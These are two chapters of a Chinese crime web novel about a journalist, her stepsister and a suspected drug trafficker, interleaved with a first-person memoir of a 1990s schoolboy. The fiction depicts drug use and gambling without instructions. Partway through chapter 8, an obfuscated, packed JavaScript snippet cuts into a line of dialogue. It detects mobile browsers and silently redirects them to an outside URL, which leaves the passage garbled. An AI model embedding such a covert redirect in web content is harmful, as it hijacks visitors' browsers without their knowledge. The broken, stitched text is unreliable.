他坐在卧房的椅子上看了一眼床上的女人,她彻底地昏睡了过去,最早也要明天才能醒来。在不晓得她到底是何居心的情况下,杀了她是最好的选择,他不是个留隐患的人。但现在或许杀了她就是个隐患。 有更好的办法。周寅的目光落向某一个暗角,那是最后一部分还未清理的,正好可以用在她身上。 这么想着,一低头,不慎碰到了她手机上的一个软件。大概是网盘之类的东西,里面是几张照片,他一眼就看到了最下面的那一张。 照片里的小女孩站学校里的荣誉墙前笑着,唇角微微弯起,身后是另一张照片。 他的目光定格在此处,指尖隐隐发颤。不知道过了多长时间,才艰难地把视线挪开,挪到一边的宋别身上。 她还在睡着,暗黄的灯光洒在她身上,那么安详。 刚才的念头,那个隐秘的暗角,开始变得灼热,似一块燎火的碳,烫在他的心口,咽喉,烧得他肝肠寸断。 8. 第 8 章 1. 我和倒霉大哥在游戏厅里玩KOF,它的中文名字叫做拳皇,但学校里没怎么有人这么叫,这样叫不洋气,不流行,会显得没见识。拳皇风靡那阵,连四十多岁的游戏厅老板都会说英文字母了。 我还记得我最擅长的人物是八神,倒霉大哥那时候玩的谁来着,我有些记不清了,事实上KOF里到底有谁我都不太记得。肮脏世界里没有这样的纯真之地留给我沉湎,他们化成风,散作烟,从我的身体里穿行而过,到处都是残痕,然而我寻找不到。 是草稚京还是不知火舞?已经想不起来了。只记得那天在游戏厅里发生了一件大事。 那时在我的生活里究竟什么才能称得上是大事呢?是明天清明节元宵节可以多放一天假期,还是英语老师结婚生子,又或是狐朋终于得到了他梦中女神的呼机号。 如果和这些相比,那日后我的每一天生活,一睁眼要面对的似乎都是一些大事,我的手上又要沾染谁的血,又要摧毁谁的家庭,或者祸乱哪一片的安宁。我是它的利剑,是它的奴隶,是它的黑血。 其实也不过近十年而已。十年,十年。写在纸上分明没有多长。 这么多年我的笔力也不复往日强健,总在不知不觉间就偏离它的原有航道。 说回往日,那在我当时平静无波的生活中,足以称得上是大事一桩。 我和倒霉大哥握着手柄打游戏打的太入迷,加上游戏机上炫酷的音效和画面,让我们都没有太过注意身边的环境。 这家游戏厅不止有能够打拳皇的游戏机,还有别的机器。大人们叫它老虎机。 我后来才知道那是有赌博性质的机器,那是我们一心扑在自己的拳皇上,丝毫没注意到身边的男人越来越兴奋,旁边也聚集起越来越多的人。 他们的欢呼声很大,估计赢了不少钱,一边嗑瓜子的老板也坐不住了,跟着凑过来。 然而很快,这场欢呼就变了性质。 中间操纵机器的人忽然大叫一声,而后轰然倒塌。 我们吓了一跳,转过头去看那个人,发现他正倒在地上抽搐起来,口吐白沫,白眼往上翻,一副要死不活的样子。 人群中不少人惊呼,我和狐朋和倒霉大哥顾不得手上的游戏了,也跟着凑过去,隔着人群看里面重重包围的乱象。有人要报警,老板在那里拦着,说不能报不能报警啊。报警了,警察来这里,他放老虎机的事就瞒不住了。 我们够着脑袋不知所谓地往前瞧,看见倒在地上那个人不停抽搐,人群里有人问是不是羊癫疯之类的病发作,又张罗着报警还是叫救护车。 我在一浪一浪的讨论声中向前,看到那个男人胳膊内侧露出的一片青紫。游戏厅的暖风呜呜地吹,他玩的太激动直接就把衣服甩在了一边,剩下一件撸在上端的油腻腻的衬衫袖,那片青紫刺痛了我,我看见,青紫上还有密密麻麻的小孔。 针眼。 人群还在骚乱,谁都没注意到门外进来了一堆人,戴着大檐帽揣着枪,不知道是真的假的,让我们都抱头蹲下。 警察来了,没有人报警,是来这里突击检查的。那一天很多人都被带进去了警局,包括我们三个,因为我们还套着一中的校服,是未成年人,祖国的花朵,警察得要确定我们这些话花朵没有被污染,如果被污染了,就要给我们洗干净。 我和狐朋和倒霉大哥一起坐上了警车后座,前排的两个警察训我们:小小年纪不学好,不好好在学校里待着,什么地方都敢进! 他们两个一个唱红脸一个唱白脸,另一个警察拉他的胳膊劝道:都是小孩子,学习太累了来游戏厅里放松放松,我进去看他俩就只玩那个叫什么,KOF的是吧,到所里好好说,然后让你们老师来把你们领走。 叫老师是逃不过去的了,我们三个都跟霜打的茄子一样蔫巴了下去,无论是每天不干正事就知道到处认小弟的倒霉大哥,还是籍籍无名的狐朋,抑或是老师掌中宝的我,对教师这种威严的身份都有一种天然的畏惧。 尤其是教导主任那个闪着油光的大脑门。 想想就打寒颤。 我们胡思乱想的时候,前面副驾驶上唱白脸的警察忽然转过头来,看向我问:你是不是叫谢琅,高一一班的? 我不明所以地点点头,随即就听他说:我老妹也在你们学校,跟你是一届的,天天放学就张嘴闭嘴就是你。李哥,这个谢琅挺厉害的,拿了不少奖呢,还是一直是他们年级第一。 被叫做李哥的男人瞥了我一眼,还是红脸:瞧瞧,以后都是要做国家栋梁的人,这种地方少去。 我刚挺直的脊梁又弯了下去,三个人坐在后排都不敢出声。那个白脸警察的呼机忽然响了起来,他接起来,在密闭的车里,我们也听得一清二楚。 电话那头的人告诉他:张啊,送到医院的那个家伙医生说他有吸毒史,估计是救不过来了,你跟李哥说一声,这事该怎么办。 警车里很安静,我们三个听见了,那个叫“李哥”的红脸警察肯定也听见了。我透过后视镜看见两人的脸色都变得沉重,嘴角快要抿成了一条线。 从小到大我跟着学校和我妈的厂里听过不少“禁毒大会”,小的时候,八几年,我还亲眼目睹过那些毒贩被枪决,那时我妈在广场上捂住我的眼,我只能从她指缝里泄露的光隐隐约约往前看。 那些罪大恶极的毒贩好像和普通人并没有什么区别,同样是七尺身长,同样是或黑或黄的面孔,脸上没什么表情,近乎麻木。直到枪声响起,穿透他们的头颅,血并不多。 组织大会的警察痛斥他们的无耻,说什么喊出“犯案一人当,家属大家养。”的口号,所以他们至死也没有交代。我仰着头问我妈,妈,什么是毒?是电视里的那种吗。我妈说不是,毒品是害人的东西,谁碰谁倒霉,不止自己倒霉,还想让人家倒霉,这样的人都该死。 那是我第一次听说毒品,十五岁那年冬天,是我第一次真的和这东西近在咫尺,我坐在警车上,止不住地发冷,背后好像起了一丛丛的鸡皮疙瘩,好像冷风刮过。 到底是为什么呢,我说不清。那种感觉像极了恐惧。 可我也不明白为何恐惧,为何会对这个当时与我毫无关联的东西噤若寒蝉。 很久以后我才晓得,这种恐惧叫做预感。那是从未来潜逃过去的,一场让我无法抵抗,无可逃避的——浩劫。 我尚不知,此后我的半生,都会与它血肉相连。 2. 澄州的夏日昼长夜短,太阳来得很急。 宋别醒来时,一缕晨光就铺在她的脸上,空调呜呜地吹,吹不散这片灼热。 她的头有些疼,揉揉眼,打量了一下四周,挺陌生一地。她从床上起来站到地下,高跟鞋在床边,她懒得穿,赤脚打开了房间门,一抬眼就看见了站在窗边抽烟的周寅。 他没穿上衣,就那么站着,嘴里咬了一根烟,有些晨风吹过来,扰得烟尘四散。 宋别的目光从上而下一路扫过去,喉结微颤,身上的肌肉十分分明,肩宽腰窄屁股翘,穿衣的时候并看不太出来,现在赤身裸体,让她欣赏了个遍,有些色心大发。 令她没想到的是,周寅的后背上有一个几乎占据四分之一的大片纹身,像是某个上古神兽的图案,但她的国学并没那么深入,一时看不出是什么。 他察觉到这边的动静,微微侧头,看见头发睡地乱糟糟的宋别,脸上的妆也蹭掉不少,光着脚就走了过来。他下意识想到昨天的那张照片,忍不住往下咽了咽口水,转过头想掐灭烟,就被一只手夺了过去。 宋别接着他的烟抽了一口,是玉溪,劲儿挺大的。 “和昨天那支不一样。”她靠在窗的另一侧,悠悠然吐出一口雾气,没去看他,“周寅,我以前喝人头马都不醉,怎么跟你在一块儿,半瓶啤酒就醒不来了呢。” 周寅神色自然,唇畔溢出一声轻笑:“谁知道呢,叫都叫不醒,只能把你带我这儿来了。” 宋别抽着那支烟,转过身,烟雾全都跑到他身上。她伸出左手,指甲从他身上划过去,重重点在心口,语气讽弄:“幸好,你是正人君子。” 窗外的阳光就这样泄在了她的脸上,带着点薄雾的尘埃,照得她恍若神女。这个比喻太不恰当,哪有随身带子弹的神女,周寅继续跟她扯皮:“中国是法治社会。” 她嗤笑了一声,抽完的烟头按灭在窗台上,烟灰很快散了。她再次开口,问他背脊上的纹身:“背上的刺青是什么?” “黄鸟。”他又解释了一句:“辟邪的,上古里替神明守药。” “那就是吉祥的了。”宋别点点头,又问:“不疼吗?” 周寅说:“不疼了。” “那是疼过,什么时候纹的?” “忘了。” “为什么纹?” “忘了。” 话到这里,宋别没有再问下去了。两人陷入一片沉寂。 周寅大概觉得有些不自在,搓了搓手指,而后道:“地上凉,你先回去收拾收拾。昨晚看你没怎么吃东西,我给你煮碗面吧。” “好。”她痛快点头答应,光着脚走回了他的房间。 这里挺整洁的,也很普通,床头柜边放着几本书,贴着市图书馆的标志,是借来的。宋别随手翻来翻,最上面那一本是《中外禁毒史》。下面都是一些小说之类。 宋别没怎么在意,穿上高跟鞋,稍微整理了一下自己。卫生间里只有一套洗漱用品,她就只用了漱口水。 出来的时候,周寅已经盛了面端到餐桌上,他手艺不错,色香味俱全,宋别是个死中国胃,捧着碗吃了个干净。 “送我回家吧。”她吃完擦了擦嘴说道,“省得下次我再一睡不醒,让你在沙发上蜗居一晚。” 周寅沉默两秒,说好。 重新坐进她的车,宋别报了个和上次不同的地点。他没有多问,往前开去。 宋别随手翻起了自己的手机,看见几个林康安的未接电话,给她回拨过去,那边很快接通,问她:“你在哪儿呢,一晚上都没回来!急得妈都要报警了!” “喝了点酒,没听到电话。”她说道:“昨天回金肯了,集团给的,不住白不住” 林康安吐出一口气,放下心来,又继续叮嘱:“别喝那么多酒,下次不回来提前说一声。” “嗯。”宋别挂断电话。 周寅状似无意地问了一句:“家里人吗,昨天打了挺多电话的,我没接。” “我姐。”她随口答,扣上手机,想想又解释了一句:“重组家庭,没血缘关系。” 他点点头,心往下放了放。就只是姐妹,还不是亲生的,这个宋别大概率不会和林康安再扯上什么别的关系。这对他来说是好事。 车子很快驶到金肯,同样是联排独栋,每家每户配套一间可以容纳三辆车的车库。周寅把车开进去,里面还停着两辆,不比这辆银刺低价。 周寅没那么惊讶,毕竟昨晚就差不多摸了摸她的底细,知道她是个没二话的大款,也懒得啰嗦,办完事走人。 “我先回去了。” 宋别扯了他一把,一眼瞥到了他手指上的那条纹蛇,收回目光,挪到他的脸上,说道:“床挺软的,有机会再睡。” 这话暧昧不清,他处于被动地位,唇畔下意识往下抿了抿。 宋别也得承认,周寅比以前要硬朗不少,他似乎有些内双,双眼皮并不那么明显,但眼睛很漂亮。她记得最清楚的就是,以前不笑的时候他的嘴角也有些微微上扬,但现在这一点已然更改了。 他常常抿起唇角,总不见笑。 “有机会。”他说。 摆了摆手,转身离开。 * 林康安已经一天没联系上高远了,她心底隐隐有些不安。 虽说现在赋闲在家白拿钱,但多年在拉美的记者工作让她对毒品这事不得不敏感,尤其是牵扯到可/卡/因。 可/卡/因的原料是古柯叶,而拉丁美洲的哥伦比亚和巴西,几乎就是古柯叶的最佳种植地和供货源。缅老泰的金三角距离中国太近,罂粟花有的都被铲除改种甘蔗了,前毒枭坤沙集团在被佤邦联合军击溃不得已向泰国政府投降之后,金三角的势力就经历了一轮大换血,也开始逐渐走向规模化产业化。 与此同时,银三角和金新月,一个有背靠北美国土的墨西哥,一个有□□执政的阿富汗,反倒蒸蒸日上了。不止如此,还有非洲以尼日利亚为首的黑三角,也已经跻身四大毒源。 这些三角地带,都有一个共通:罪恶,血腥。 这次流入中国境内的,是哪个地方来的,毒源在哪里,林康安也说不准。本想着能从高远嘴里撬出来一点东西,可是现在……她有种不详的预感。 手中的电话一直没有动静,她有些等不下去了,收拾了东西,打算亲自去找人。 她知道高远家的地址,戴上头盔开着自己的摩托车就去了。摩托车一向是记者的首选,速度快,而且堵车的时候还能穿行。 没多长时间,林康安就到了那栋老楼下,外侧的墙皮已经开始有些脱落,还有些已经爬满了青黑色的霉斑。 她无暇顾及那么多,摘下头盔就走了上去。途径三四楼之间的时候,由于走的太急,不慎和一个下楼的人撞在一起,肩膀被狠狠扥了一下,引来一阵钝痛。 她也顾不得,道歉之后接着向上走。 她已经闻见了,房间里传来的,让人作呕的,同类的味道。 被她撞的年轻人走到下一层楼,忽地顿住脚步,在楼层的缝隙里开始窥伺,良久,手机闪动了一下。 高远家的门并没锁,轻轻转动古铜色的门把手就打开了,一阵恶臭铺面而来,几乎瞬间,林康安胃里就开始翻涌。 这不是她第一次见到尸体,也不是她见到的第一具尸体,曾在伊泰普湖的中心——那条巴西和巴拉圭重要的毒品走私通道上,林康安亲手拍下了数具尸体血染水面的场景。 那让她至今难忘。 林康安往前走近几步,看见高远已经浮肿的胳膊上还在插着的针管,那里已经快要腐烂,淌溢出糜烂的黑血,在他的身边,还有散落的白色粉末。 她的牙齿有些打颤,闭上眼,再次睁开,第一时间给林钊打去了电话。 “爸,有人死了,吸毒。” 警察来的比她想象的要更快,她靠在门边,这栋老楼已经没有几个人,就算有,也不会想要沾上这样的麻烦。 静谧的楼道里,只有她一个人,还有四溢的尸体腐烂的恶臭。林钊也跟着一起过来了,虽然这些事还不至于让她一个局长亲自出动,但毕竟是林康安打的电话,又事关毒品这样的重大事件,他不得不重视。 痕检科物证科的人正在取证,一个警察在外面问她。 “你是怎么发现他的尸体的,又是怎么知道他吸毒的?” 林康安搓了搓发冷的胳膊,回答道:“我是做记者的,做了很多年的毒品调查,对着这方面比较了解。前不久去修车,他给那个修车行送材料,那时候我就注意到,他是一个吸毒人员。” 她顿了顿,继续说:“想从他身上挖点更多的东西出来,于是就联系上了,在他死前的一天还在跟我联系,约我明天见一面,说有东西给我,所以我怀疑……这不是自然死亡。” “你是说人为?”林钊从里面走了出来,取下手上的手套,脸色有些凝重。 里面带着防护口罩的法医也出来了,和痕检科一起汇报:“初步检查没有外伤,没有打斗的痕迹,指纹需要到局里再做检验,他杀的可能性不大。” 林康安的细眉皱了起来:“这也太巧了,我们明天见面,他今天就死了,” 林钊沉声叹口气,告诫她:“小安,这是吸毒人员,你这么单独跟他接触太危险了,下次再遇到第一时间就要报警。” 她点点头说知道,不知道听进去没有。 有个警员在这时忽然说:“局长,他有过犯案经历,就在前不久撞了一个出租车司机,司机没抢救过来,车上的乘客就只受了轻伤,对了,就是小别那个案子。” 林康安闻言,眼神陡然凌厉起来,转头问他:“宋别?那个出租车司机不是死了吗,不会这么快出来吧。” “没有酒驾和疲劳驾驶,是车故障加上路滑,司机的家人和小别都签了和解协议,没几天就出来了。” 她有些焦虑地咬了咬指甲,继续说:“据我了解, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135752|150085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个高远没有别的家人,就一个在北京上民办的儿子,一年学费二十多万,他出事后是谁来给他办的?” “那个人说是他朋友,叫周寅。” 警察合上记录本,眼神向林钊示意。 林康安知道剩下的就不是她该知道的了,跟林钊打过招呼之后就骑车回了家。 老楼下人也并不多,大多是老人出门遛狗回来,要么就是刚上完夜班的年轻人迫不及待回家打算大睡一觉,没有人关注其他人。 但有人的目光一直锁定在林康安的身上,一直到她上了摩托车,身后那辆福特也起步跟了上去,里面的人打着电话:“周寅,刚见到人,跟你说得一样,是个女的,二十多岁的样子,照片给你传过去了,就是不知道高远到底跟她说了什么,能确定的是,他再晚一天死,我们都得玩完,搞不好,还会牵扯出吕澄阳。” 周寅在电话那头问:“你觉得他能说什么?” 孟良呼出一口气,说道:“我们的事他知道的不多,上下都是单线,不会那么轻易被发现的。况且林康安现在还去找他,就说明想要的还没得手。等下一批货过来,你就该离开澄州了。” “我知道。”周寅道:“广东那边的张蓄不是刚跳楼,吕澄阳提前给我信儿了,我得去接他的班。” “这年头儿,没活路啊。”孟良咬着林康安的那辆摩托车,啐了一口,又叮嘱:“高远死了,警察用不了多久就会找上你的门,你小心点。” “我知道,都处理好了。”周寅那边响起一声脆响,看着说:“你守好,那边的‘骡子’你和老张去对接。” “妥。”孟良往前跟着林康安拐进了一条道,跟了不久就停下了,对他说:“还真让你说着了,她家在正阳路1556号。” 周寅的心往下沉了沉,抽烟的手指都跟着一顿。 没错了,这个林记者就是宋别的姐姐。 这事情实在太巧。不过不算坏事,他可以试着从宋别嘴里撬林康安的事。这样的话,和这个女人又要剪不断,理还乱了。 周寅并不太想和她有过多的接触。 可是没办法,高远一死,风声变紧,他再不能轻举妄动。刀尖上走得多了,没有人不谨慎,一步不稳,就可能是万丈深渊。他更是深谙这个道理。 挂断电话,周寅重新拨了一个号码,那边开口,声音清明:“周寅? “宋别,我钱包落在你车上了,方便去找你拿吗?” “你故意的。”宋别一语点破,声音依旧冷淡,没什么沾沾自得的语气,在他解释之前又说:“我今晚回爸妈家,不顺路。” “我去找你。” “有多少钱呢值得你这么上心。”宋别扬唇一笑,那边偶尔传来键盘敲击的声音,“周寅,我挺讨厌别人跟我耍心眼儿的,咱们俩现在,可还不算朋友。” 他握了握手,也后知后觉地发现自己的目的性有点太重了,宋别不是个笨女人,轻易糊弄不了。 他轻叹一声,立马组织好思路,像是秘密被揭开之后的摊牌:“被你看出来了。” 周寅接着说:“宋别,你该知道,那点钱不值得我上心。” 这话也说的暧昧不清,模棱两可,宋别的手指在桌上敲了两下,才开口道:“晚上,我去找你。” “嗯。”周寅道,同样的几秒沉寂,在电话挂断之前他又问了一句:“你给我的那颗子弹,是真的吗?” “真的。”宋别说。 * 宋别回到家的时候,林康安正在沙发上坐着,她双手撑膝,咬着指甲——那是她的习惯,一焦虑的时候就下意识去咬。桌上放着一杯茶,显然早已冷掉。 宋别不知道林康安在想什么,连她来了都没发现。 “林康安。”她叫了一声她的名字,顺手把包甩在沙发上。 林康安被她这一声呼喊惊得回神,看向宋别,一瞬间从沙发上站起来,问她:“宋别,你认不认识一个叫周寅的人?” 宋别眯起了双眼,问她:“你怎么知道的周寅?” 林康安没回答她,直问:“他是做什么的?” “修车,当时我出车祸,他来处理的。” 林康安想起来了,她当时就是在那个光明修车行遇见的高远,他去给那里的老板送材料,应该就是周寅了。这样来看,周寅是他朋友的这个身份是成立的,而且没什么疑点。 林康安又泄气一样耷拉下眉眼,只差一点……只差一点她就可以抓到信息。况且她尚不知道,是不是自己的原因致使高远丧命。这不是在美洲,她也做不了什么,只能等,等警察传来一个结果。 毒品在拉美就和空气一样无处不见,可这是在中国,中国有十四亿人口,没有任何一个毒贩不想撕开中国的口子,也没有任何人成功过。 宋别见她那一副神经兮兮的样子,开口问道:“出什么事了?” “撞你的那个人,死了。”林康安说,“除了在北京上学的儿子,周寅可能是唯一和他有联系的人。” “能让你这么关心,该不会又和什么毒品扯上关系了吧。”宋别走过去把那杯凉茶喝了,眼睛盯着她。 林康安也没否认,点了点头。 “中国也有毒品,够稀奇。”宋别话虽这么说,心底却还是不自觉往坏的地方想,如果周寅真的跟毒品扯上关系——她的指尖有些轻微地颤抖。 不,不能说是周寅。 而是谢琅。谢琅那样的一个人,怎么会和如此肮脏,罪恶的事情搅合在一起呢? 宋别从不去追求什么伟光正的灵魂,也打心底觉得这种东西不存在,除了林康安这傻叉,她没见过第二个所谓的伟光正。金融行业做久了,北美土地上待的久了,多多少少见识过人能下贱到什么地步。 可她到底是中国人,做人不能没底线,也不能没下限。当年她操作对某国的货币狙击时,也让他们财政体系崩塌,失业率在一瞬间飙升,通货膨胀,经济触底,外债高企,导致他们不得不求助于IMF和美联储,可当时正值美联储加息,于是国家只好宣布破产。 葬送了多少条性命?宋别懒得去算,甚至问心无愧。 她是狼性文化下的集大成者,信奉适者生存的教义。但毒品这件事,在她眼里无异于叛国。 曾被称作“东亚病夫”的中国费多少心血才铲除的毒瘤,绝不能在今天卷土重来。 她点起一根烟,这次林康安罕见地跟她要了一根,抽了没两口,被呛得说不出话来。门在这个时候被打开了,林钊瞅见抽烟的两个姑娘,脸猛然一黑。 “姐,都跟你说了我抽不惯。”宋别也咳起来,“你还非让我抽。” “小安,你什么时候染上的这毛病,看看,还把你妹妹给带坏了!”林钊走过来,没收了她们的烟和打火机,放进自己的衬衣口袋里,眼神扫过两个姑娘。 宋别没敢去看林康安,她吃了哑巴亏,也认下了,急吼吼就开始问案情:“偶尔,没瘾。爸,那案子怎么说?” “你也知道,没定论之前不能说。”林钊给自己倒了杯茶,坐在一边的单人沙发上,神色同样凝重,问她:“小安,这些天你都跟他聊出些什么来了?” “没什么有用的,他打电话来就是哭,说自己也不想,可是儿子还在北京上学,以后还要给他攒老婆本。我可以确定的是,他不只是吸,极有可能还在贩。” “以贩养吸,很多毒贩都是这样。” 宋别在旁边插了一句话:“有金钱交易就好,查流水,查入账,不是说有个儿子在北京上学吗,学费便宜不了,谁给他出的?他做什么工作我不清楚,但周寅在修车行,温饱还行,有这么多流水不就太可疑了。” 她说完又反应过来:“如果是一个两个闹着玩的话估计很好查,但也有可能不是小打小闹。我姐不是见识很多吗,墨西哥那边多少毒品卡特尔。” 林钊看向她,眼神狐疑:“小别,你怎么也这么了解?” 宋别撩了撩头发:“爸,我都二十五岁了,不是小孩了。” 更别说,墨西哥承担了北美几乎百分之六十的毒品供货,发展到今天,更是离不开萨利纳斯和老布什签订的NAFTA(《北美自由贸易协定》),她怎么能不了解。 9. 第 9 章 1. 我和狐朋和倒霉大哥最后还是被教导主任给领回去了,他开着学校公用的三蹦子,我们坐在三蹦子后座,一个比一个头埋得深,知道回去之后肯定要面临一场批斗,都像鹌鹑一样一言不发。 我的脑海里不由自主地浮现那个游戏厅里的人倒在地上的场景,青紫的手臂,翻白的眼睑,以及不断吐出的白沫,这让我不知所措。 狐朋和倒霉大哥像是根本没留意这一茬,于是我心底那点困顿也无从抒解,只能望着脚下三蹦子上的泥尘暗自斟酌。我的心是乱的,像被一根细线勒着,让我无法自得,让我不得安宁,又让我寻觅不到,它究竟所在何处。 后来在我真的接触到那要命的东西之后,这种奇异的,不安的感觉又再次卷土重来了。那根细线勒着我的脖颈,不知何时它会收紧,将我绞杀。 我从三蹦子的后座上抬起头,看着从游戏厅到学校的这段路程——风慢慢卷起地上的尘埃,老旧的墙上用红漆喷着“改革开放树新风”“我不下岗谁下岗”等的字眼,文字鲜红,上面爬满青绿的苔藓,白漆结块掉下来,棕色的砖瓦裸露,像一副已经风烛残年的躯壳。 前面是把格子衬衫紧紧撑开的教导主任宽厚的背脊,还有他有些反光的脑壳。我的心慢慢平静下来。 但我无法否认,有什么东西已经深埋。 过后多年,我重返故土,这里残破的街道早已不复存在,已然焕然新生,改革的风吹过了每一寸土地,当初的旧友也各奔东西。有人的未来一片坦途,有人的以后迷雾笼罩,只有我,渐步自缢,逐渐走向消亡的定局。 那天我和狐朋和倒霉大哥一起被教导主任羁押回学校里,在年级办公室里站了一下午,趴在墙上写了两千字的检讨书,勒令我们在周一升旗大会上挨个儿念。 这回可真是出了大洋相了,我当时还在想我的盛名能不能保得住,余光一瞥,就看见隔壁班那个小矮个儿走了进来,她不知道什么时候剪了短头发,头发挺多的,嘭起来,像个伞柄张开的蘑菇。 我趴在墙上停下了笔,专心听着她来这里干什么,还用手戳了戳倒霉大哥,小声对他说:你仇家来了。倒霉大哥掸开我的胳膊,依旧在奋笔疾书,声音一时没压住,对我说:你看人家干嘛,抓紧写吧,放学写不完就没办法玩红警了。 我抓紧把头低下去,生怕小矮个儿看见我,可教导主任还是听见了倒霉大哥的话,瞪我们一眼说,还想着玩游戏呢,再给你们加五百字吧。 我们的头又往下低了低,谁都没敢再说话,然而我却听到身后有一声轻笑传了过来,我知道是谁,大概是出于丢脸,耳尖开始隐隐发烫。 此间出入年级办公室的有不少人,甚至还有我们班的几个同学,可是为什么我只对她脸红呢?我的笔尖离开了墙和纸,神游起这个问题,在她离开之前,我偷偷回过了头,看见她拿着一张请假条给锅盖主任签了字——这是后来在我们学生中间流传起的称谓,那个脑门实在太亮了,真的很像顶了个锅盖在头上——那时我忽然想明白了了。 只有她,只有她是我触底的同类。 那些庸碌无为的人,怎么值得我分给他们这些共生的情感呢。 那个周一已经很冷了,我们学校无孔不入地给我们发了冬季的校服,把蠢蠢欲动的春心和急切展现的个性又一次扼杀。 青春时代就是见缝插针地开花,我们穿上厚重的校服,女生们就在嘴唇上抹上薄薄一层艳红的唇彩,挽头发的发绳更可爱更吸睛一点,要么就是在头上戴上五颜六色的发卡。男生们就开始在鞋子上各领风骚,高中那一年我几乎见识过了各种牌子,乔丹,阿迪种种,很多牌子在他们还没听过的时候,我爸就让秘书把助理放在了我的房门口。 在物质上,我再一次成为高中时期亮眼的一笔。 我和狐朋和倒霉大哥站在主席台上,看着下面冻得抽鼻涕的同学们,他们仰头往上看,我们挨个儿念检讨书,也就是两千字,一个人差不多是五分钟的时间,但他们只在我们刚上台时抬头看了两眼,转而又把脖子锁进了衣领里。 倒霉大哥在第一个,声音尤其洪亮,用极其夸张的词汇,称这次逃学去游戏厅的行为简直是罪大恶极,罪不可恕,罪有应得,感谢主任给我们重新做人的机会,以后肯定洗心革面,痛改前非。 我在第二个,攥着我的稿纸刚想念出声,一阵风吹过来,我手上一松,稿纸漫天飘散,没办法,只好硬着头皮接过话筒,朗声开口:我深刻意识到我们这次的逃学行为实在是罪大恶极,罪不可恕,罪有应得,极度损害学校声誉,简直是可耻可悲,可歌可泣,万死不辞。感谢主任给我重新做人的机会,以后一定悬崖勒马,回头是岸。 我说这些的时候,台下传来几声隐秘的笑声,回头去看站在一边的主任,我几乎立马就想到了一个成语,吹胡子瞪眼。 等到狐朋的时候,很巧的是,他的稿纸也被一阵风吹跑了,虽然我怀疑他压根儿就没好好写,他也被迫说那一句套词,我们三人的演讲就在这样荒唐可笑的凛冬清晨过去了。等到狐朋交接话筒的时候,还有一小片掌声传来。 为什么而喝彩,为我们的独特吗?还是为我们的反叛? 我一直都不是一个所谓能称得上敢为人先的人,叛逆这个词也从不曾出现在我的身上,我最擅长的事大概就是遵循守旧,循规蹈矩,最大程度规避风险。 我不是摸着石头过河的人,也远没有那样的胆识和气魄,可是偏偏,我占据了这样一个领袖的位置。我写下这篇故事,后来有人读起,无不叹息于我这一场悲歌。说我本来可以有个远大前程,原本可以前途似锦。 可是我分明知道,我所有悲剧的源头,都不过来自于我无可比拟的平庸。 2. 这个略显沉重的话题随着宣霖和阿姨的进门而截止,林钊和宣霖两个人,一个是市局局长,另一个是高中老师,还是副校长,一个比一个忙,谁也来不及做饭,于是干脆请了阿姨在家。 阿姨去厨房做饭,宣霖跟他们说了两句话,就进了书房写教案。 林康安的表情还是沉重,眉头紧锁,大约还是不甘心,到嘴的鸭子飞了,连同高远也命丧黄泉,如果真是因为她的原因,她无论如何都过不去心里的那道坎。 跟毒贩打交道这么多年,她太清楚他们的残忍手段,太明白他们杀人不眨眼的可怕,怎么可能这么巧。 宋别的脸色同样不好看,她在想周寅的事。如果真的和他有关,她会毫不犹豫地把他送进监狱。她实在没有林康安那样的大义凛然,说实话,她的东家就是大麻合法化法案的支持者之一,而她自然追随其右。 可北美不是她的国度,中国才是。 宋别在心底叹了口气,听见书房门打开,就立马换了一副嘴脸,脸上的愁容一扫而过,老老实实扮演一个乖女儿的角色。她习惯演绎,这么多年,也只有好姐姐林康安晓得她到底是个什么样的坏骨头。 这顿饭吃的挺安宁,林钊也不在饭桌上提案子,只有林康安伪装能力稍差,被宣霖看出来问了一句。她推脱是工作上的原因,由此搪塞了过去。 饭吃到一半,宋别刚扒拉完自己碗里的米粒,手边的电话就响了起来,她以为是周寅,握着手机到一边才打开看,不是周寅,是宋复,她亲爸。 宋别不耐烦地接起来:“什么事?” 那边宋复的声音有些没底气,在她这个女儿面前他一向直不起腰来:“小别,你能不能再给我打点钱,我被人……被人扣在这里不让走。” “你不是说不再赌了吗,宋复,信不信我把你手指头给剁下来?” 那边声音嘈杂,还有时不时的两声催促,估计是真的被人扣下了。宋复还在哀求着她,说道:“小别,我答应你,最后一次,真的是最后一次了,怎么说我也是你爸,你不能见死不救吧?” 宋别烦躁地抓了一把头发,问道:“地址。” 宋复愣了一下,虽然有疑问,但还是把地点报了出来。宋别记下来,跟林钊和宣霖打了招呼就提着包离开。 宋复说得那地方挺偏的,在老城区那里,一个麻将馆里。那里还在亮着灯,码牌的声音震天响,烟雾浓厚的像是进了座仙山。 她停好车走进去,掀开泛黄的门帘,有几个人朝她看了过来,而后左右相告,渐渐所有的目光都落在了她身上。 “妹儿,打牌啊?”一个看着像老板的人开口问道,话语里夹着南方口音。 宋别的眼神落在他身上,说道:“我找人,宋复呢?” 老板听见这个名字,脸色变了变,让她跟自己过去。她挎着手里的包,绕过一众麻将桌,掀开一道门帘,进去之后再打开一扇门,才看见了里面的洞天。 这里估计是特意做了隔音处理,外面是麻将,里面是赌坊。 宋复像是被人收拾了一轮了,抱着头蹲在墙根儿处,看见她来,猛然一抬头,被身边的人一瞪眼,又把头低了下去。 “喏,他在那儿,输了不少钱,给了钱就能走,你是他什么人啊?” “输了多少?”宋别没回答他最后一个问题,单刀直入看向那群债主。 那些人一个个跟她报数,从两三千到一两万,林林总总地加起来也才不过五万上下,她这两年都没背过五万以下的包了。可真够出息的。 宋别没急着拿钱,反倒找了个位置坐下,瞥了一眼一边蹲着的宋复,又把眼神挪向那群苦主:“这样成不成,我替他跟你们玩两局,推牌九,炸金花,还是□□都行。” “你成吗?”前面一个人上下打量了她两眼,有些不信这样一个满身贵气的女人还会这些下三滥的路子。 宋别想摸根烟出来点,又想起来烟和打火机已经被林钊收走了,刚想作罢时,一支烟就递到了手边,她抬起头一看,是那天在周寅门前见过的人,好像是叫孟良的。 